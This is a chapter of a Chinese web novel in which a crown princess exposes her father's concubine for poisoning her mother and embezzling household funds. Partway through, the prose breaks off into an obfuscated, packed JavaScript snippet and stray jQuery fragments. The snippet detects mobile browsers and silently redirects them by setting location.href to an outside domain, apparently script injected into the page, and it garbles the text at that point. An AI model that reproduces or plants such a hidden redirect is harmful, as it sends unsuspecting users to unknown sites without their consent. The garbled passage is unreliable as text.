42. 揭发

作品:《替嫁太子妃又在装柔弱

    翌日,谢晚颜繁忙了几日,今日才得以空闲,抽空去了陆清择的书房看望雪团子。


    陆清择在桌案前处理公事,谢晚颜就安静的在一旁喂雪团子吃点心,整个书房内倒是安静祥和。


    刚喂雪团子吃下一块糕点,就听到门外走来了一个侍卫,对着陆清择抱拳行礼后开口:“启禀殿下,昨夜的确有刺客前来带人,目前应当关在郊外一处屋子,暂时还未暴露。”


    谢晚颜手上的动作一顿,不禁抬眸看了过去,碍于还有侍卫在场没有开口询问。


    陆清择眼眸都未抬起,只沉声应了句:“知道了。”


    侍卫悄声退下,只留下一阵轻微的关门声。


    谢晚颜站起身子,走到陆清择身侧,疑惑的开口问道:“昨日私宅有刺客?”


    陆清择像是没太放在心上的停下手中的笔,抬眸看向谢晚颜:“是,孤安排了替身,他们带走的不是你要的人,但也用不了多久便会暴露。”


    看来昨日说的话陆清择的确是放在了心上,如此一来倒是省去了麻烦。


    那刺客没有意外的话就是梅夫人安排的了,如此一来便说明梅夫人一直都在留意张琳的行踪,更加证明这会是一个重要的人证。


    现在应当是梅夫人最放松的时候,她必定会认为自己派去的人已经得手,这会是一个绝佳的时机。


    “多谢殿下,臣妾想午后去一趟谢府,处理一些事情。”谢晚颜微微福了福身,长长的羽睫遮盖住眸子里的情绪,这次陆清择的确是为她创造了一个绝佳的时机。


    陆清择深深看了一眼谢晚颜,似乎是知晓谢晚颜要要去处理家事,只应了一声:“嗯。”


    ……


    午后,谢府门前宽敞的青石板街上,一辆马车缓缓停下,卷起一阵风尘。


    车帘被一只手轻轻拉开,从里面走出了一个梳双丫髻的小丫鬟,阿荷站在一旁托起帘子,小心的搀扶着谢晚颜走下车来。


    谢晚颜望了一眼牌匾,上一次回来还是回门时,不知不觉竟已经过去很久了。


    门外的护卫看到是一位衣着打扮贵气的女子,虽面色苍白,看起来弱不禁风,但气度不凡,很快便认出了谢晚颜,立刻派一旁的侍卫进去禀报,自己则抱拳见了礼。


    谢晚颜素手微抬,苍白的小脸上微微带上了一丝柔和笑意:“不必多礼,谢候可在府中?”


    侍卫低着头,只恭敬的道:“回娘娘话,侯爷正在书房,属下已命人前去通报。”


    谢晚颜微微颔首,转身抬脚踏过高高的门槛走了进去,身侧立刻有府内丫鬟带着谢晚颜去往前殿,茶水点心立刻送了上来。


    谢晚颜坐在高位上约莫着等了半柱香时间,谢天林便赶到了前殿,起初听到谢晚颜来府中还有些不可置信,现在真的见到谢晚颜悬着的心才是彻底放下了。


    谢天林做了一揖,抬起衣袖擦了擦额上的汗水,开口问道:“太子妃怎么突然回来了?”


    谢晚颜将手中的茶盏放在桌子上,莞尔一笑:“我今日过来是有要事要告知父亲。”


    谢天林闻言眸中带着惊诧,还未具体再问下去,就听到谢晚颜再次开了口。


    只见谢晚颜眸中闪过一丝意味不明的情绪,神色却很是平静:“此时关乎阿娘。”


    “这……”谢天林似乎是没有料想到谢晚颜竟会突然提及此事,一时有些没反应过来。


    “父亲不觉得先前阿娘那病来的太过蹊跷了吗?我先前偶然得知阿娘不是患病,而是中毒,正是院子里的眠香花与麝香混在一起所导致的,阿娘平日里接触不到麝香,能够随身让阿娘接触麝香的只有身患咳疾的梅夫人,恰巧那段时间里梅夫人总是寻着由头去芙蓉院,这不是太过巧合了吗?”谢晚颜面不改色的说了这番话,却无人知晓平静的外表下内心波涛汹涌。


    谢天林闻言一时觉得有些荒谬,但知晓依着谢晚颜的性子不是确定的事情是不会这般讲出来的,只能略有些犹豫着开口道:“梅夫人的确患有咳疾,这是否是巧合?”


    谢晚颜闻言眼神暗淡了几分,内心不禁有些低沉,继续说出了下一个真相:“父亲有没有想过病案也是可以伪造的?”


    谢天林闻言有些不解的皱起了眉,下意识的辩驳道:“怎么会……”


    “父亲别急着反驳,不妨将梅夫人请来当面对质。”谢晚颜杏眸里少有的带着认真的神色,一瞬间竟让谢天林感到了几分陌生。


    谢天林见此沉思片刻,最终也只能照办,随即对着一旁的下人吩咐:“去将梅夫人请过来。”


    下人应下,低垂着头快步的离开前殿去请人。


    大概又过了半柱香时间,梅夫人匆匆忙忙的走了过来,看到谢晚颜也在不禁愣了一瞬,眼神里闪过一抹精光,很快就反应过来,面色如常的见了礼。


    “侯爷召妾身前来可是有什么事情?”梅夫人笑了笑,许是瞧谢天林脸色不好,也不敢过多过问。


    谢天林神色复杂的看着梅夫人,质问着开口道:“蓝夫人当初是不是根本不是患病,而是你用眠香花与麝香混在一起致使的她中毒?”


    梅夫人脸色一变,神情有些不解,装作一脸无辜的模样:“侯爷在说什么?这话……妾身怎么听不懂了?”


    言罢,梅夫人眼神怪异的的看着谢晚颜,似是没有想到谢晚颜一个病秧子还能有能耐查到这一步,收回目光,梅夫人很快便恢复了神态。


    谢晚颜未等谢候回话便先一步眼神示意一旁的阿荷,阿荷会意转身走出了前殿,很快便领着仆从带着张琳走了进来。


    谢天林看着张琳,对这位大夫倒是有些印象,能够认出这是谢府的大夫。


    梅夫人看到来人的那一瞬间瞪大了双眼,似乎是有些不可置信,下意识的后退了一步。


    谢晚颜扬了扬唇,话中别有深意,瞧起来却人畜无害:“梅夫人这是怎么了?”


    梅夫人回过神,似乎是明白了什么,强装着镇定,双手死死拽住手中的帕子,随后眼神带着一丝凌厉的看着谢晚颜,开口道:“无事,刚刚妾身只是突然觉得有些胸闷气短,想必是老毛病犯了。”


    谢晚颜忽略梅夫人的眼神,心中不禁暗暗冷笑,此刻倒是不演了。


    一侧的谢天林怪异的看了梅夫人一眼,面色阴沉下去,心中不免也有了几分猜疑。


    谢晚颜淡淡的看了张琳一眼,示意张琳将事实一切全部说出来。


    张琳会意,双膝一弯,朝着谢天林一跪,声泪俱下的开口道:“请侯爷明鉴啊,梅夫人当时以小人全家的性命为要挟让小人伪造病案,小人也是迫不得已而为之,小人可以以性命担保梅夫人的确是身体康健,没有什么病症,侯爷若是不信,可以另找大夫为其诊治。”


    梅夫人面上不禁有几分慌忙,快速的思索着,谢天林对蓝夫人的用情至深梅夫人从前便知晓,决不能让谢天林知晓是她害的蓝夫人。


    梅夫人装作一脸疑惑的模样,语气里还夹杂了丝丝的怒意:“胡说!当初明明是你亲口说本夫人患有咳疾,药香也是你配的,怎的此刻便不承认了?”


    说完,梅夫人还装模作样的咳了几声,装作不经意间佛过腰间,将香囊展示在了众人面前。


    “还请侯爷另请大夫为夫人诊断!”张琳脑中也是个清明的,知道自己说不过梅夫人,当即便磕了头乞求。


    梅夫人眼神里带着一丝慌乱,再也装不了镇定,连忙握住谢候的衣袖,眸中隐隐的含着泪水:“妾身一直以来都为谢府操持家务,未曾有过半分非分之想,侯爷难道不相信妾身吗?”


    关乎到蓝夫人的事情谢天林自是不会糊弄过去,没有理会梅夫人的目光,将手背在身后,直接吩咐下人:“去请府内的郎中过来。”


    梅夫人双手微微一松跌坐在地上,不可置信的看着谢天林,双手扣住地面,用力到指尖都泛了白。


    下人动作极快,带着郎中走到梅夫人面前,一旁的丫鬟按住梅夫人的胳膊,由郎中伸手把脉。


    良久,郎中才松开手,行了礼开口道:“启禀太子妃娘娘、侯爷,梅夫人的确没有任何疾病。”


    谢天林身形一晃,竟没想到梅夫人会做出如此大逆不道之事,气急攻心,差点没站稳身形。


    “你这毒妇!”谢天林气的扬起手来就要落在梅夫人脸上,最终还是忍了下去,狠狠地放下了手。


    谢天林戎马半生,这双手只拿的起刀剑,斩的下敌寇首级,唯独打不了妇孺。


    “侯爷!你听妾身解释啊侯爷,妾身也不知那眠香会与麝香混一起使蓝夫人中毒啊!”梅夫人跪着爬到谢天林身边,抬手拽住谢天林的手,一地眼泪划过脸颊。


    谢天林一把甩开梅夫人,看都没再看梅夫人一眼,带着满腔的怒意:“还有什么好解释的?谋害当家主母,其罪当诛!”


    梅夫人瘫坐在地上,眼神里彻底没了神,似乎是没有想到谢天林会如此决绝,至今还未曾回过神来。


    谢晚颜就静静的看着这一番闹剧,神色平静的像一面静止的湖水,这一场戏,还没完。


    “父亲,阿娘名下的铺子也被塞了人进去,这么长时日吞了不少真金白银,如今在手的账本也是假的,只是这真账本还不知去了何地……”谢晚颜话说到此,没有再继续说下去,眼神却看向了瘫坐在地上的梅夫人,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13886815|138824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    其中的意思不言而喻。


    阿荷适时的将从花颜阁取来的账本呈到谢天林面前。


    谢天林一听几乎快要晕厥过去,大致翻看了几页便意识到了不对,这数目远比花颜阁应该有的数目少太多了,强忍着才没有挥手落在梅夫人身上,继续对身侧的下人开口道:“派人去搜院子,务必将真账本给本候找出来!”


    谢晚颜递给了阿荷一个眼神,阿荷会意,悄悄退后跟着侍卫去了梅夫人的院子。


    因为谢晚颜不能保证谢府的人会发现梅夫人的密室,因此便告诉了阿荷密室开关的位置,让阿荷假装不经意打开机关,从而进到密室里搜寻。


    阿荷一行人走后,殿内本应该恢复清静,却不料殿外忽的传来一阵吵闹,下一瞬,就看到谢川走了进来,神色带着震惊,看样子是还没有回过神来。


    谢川心不在焉的匆忙见了礼,眼神不禁落到了梅夫人身上,神情复杂:“见过父亲、长姐……母亲。”


    碰巧今日休沐,谢川听到了梅夫人院子里的动静,不知发生了何事,心里有些担心便跟了过来,没想到竟会如此。


    前殿里一片安静,几人脸上的神情各不相同,都怀着自己的心思。


    梅夫人像是看到了救命稻草一般,连忙扑过去握住谢川的手,眼神悲凉的看着谢川,:“川儿,你会相信母亲的对吗?”


    谢川神色有些失望,站在原地没有动,刚刚的话他听去了一些,心里一时接受不了。


    梅夫人看着无动于衷的谢川,忽的放下了手,自嘲一笑,整个人似乎是没有了力气一般,任人宰割。


    “长姐,若是我能够及时发现这件事,蓝夫人也不会……”谢川说到这里一顿,神色有些自责的看向谢晚颜,双手紧紧的攥成了拳。


    谢川与蓝夫人素来亲近,知道这件事他心里的难过不比谢晚颜少,何况那人是他的亲生母亲。


    谢晚颜自是知晓这一点,只是垂下了眼眸:“这件事怨不得你的。”


    话音落下,大殿之中除却沉默便还是沉默,谁都未曾聊想事情会是这般发展。


    这股子沉静一直维持到阿荷回来,阿荷看向谢晚颜颔首,示意账本找到了,事情皆已经办妥。


    谢晚颜内心悄悄的松了一口气,终是赌对了。


    身后的侍卫将搜集到的账本以及几箱的金银全都抬了过来。


    梅夫人没有想到就连密室里的东西也被搜查了出来,紧紧的盯着满箱金银珠宝,竟不知该作何反应了。


    谢天林翻看了账本,又与假的账本对了对,这段时间以来私吞了大笔的钱财,远不止侍卫抬过来的这些。


    谢晚颜抬起眸子,眼神不轻不重的落在梅夫人身上,适时开口:“父亲,我听闻城郊东有一处仓库专门用来储存金银,是否会与这些金银有关?”


    梅夫人恶毒的瞪了一眼谢晚颜,竟是没想到谢晚颜连这个也查了出来,从前只觉看上去是个柔弱好拿捏的,竟没想到是一只披着羊皮的狼,到底是大意了!


    谢天林将账本重重的摔在桌案上,看向了一旁站着的侍卫:“去查!查清楚到底是谁的人!”


    府内的人极少见到谢天林发如此大的火,一时皆有些心惊胆战,不敢说额外的话,只领命退下。


    谢天林这才看向梅夫人,眼神里满是失望与愤怒:“你竟然背着我做出如此恶毒的事情,真是太让我失望了!”


    梅夫人此刻没有丝毫反驳的欲望,只是忽的笑了出来:“你的眼里何时有过我半分?不都是那个姓蓝的吗?”


    谢天林一听这话气的几乎要一口气提不上来,几乎是低喝出来的:“梅氏谋害当家主母,罪无可恕,明日送往寺中削发为尼,青灯古佛度过晚年!”


    这便是要将梅夫人赶出去,从此和谢府断绝关系,谢天林到底还是念这些旧情的,留了梅夫人命。


    谢川的情绪有些低沉,虽然梅夫人罪大恶极,但到底是他的生母,从此便要断绝一切往来了。


    内心挣扎了一番,谢川最终还是没有开口,只是静静的看着下人过来将梅夫人拖下去。


    梅夫人似是有些疯癫,没有丝毫挣扎,只是仰天大笑着,笑声听起来悲切而又讽刺。


    又想到了什么一般,梅夫人忽的平复了下来,一脸得意的开口:“谢晚颜,你真的以为是我要谋害你的母亲吗?我不过是一枚棋子罢了,你要对付的不是我,你真正的敌人可藏的深呢哈哈哈哈哈哈……”


    随着梅夫人的笑声越来越远,殿内彻底安静了下来。


    谢晚颜脑海中一种回荡着梅夫人的话,只觉得思绪一阵烦乱,事情竟然没有她想的这般简单。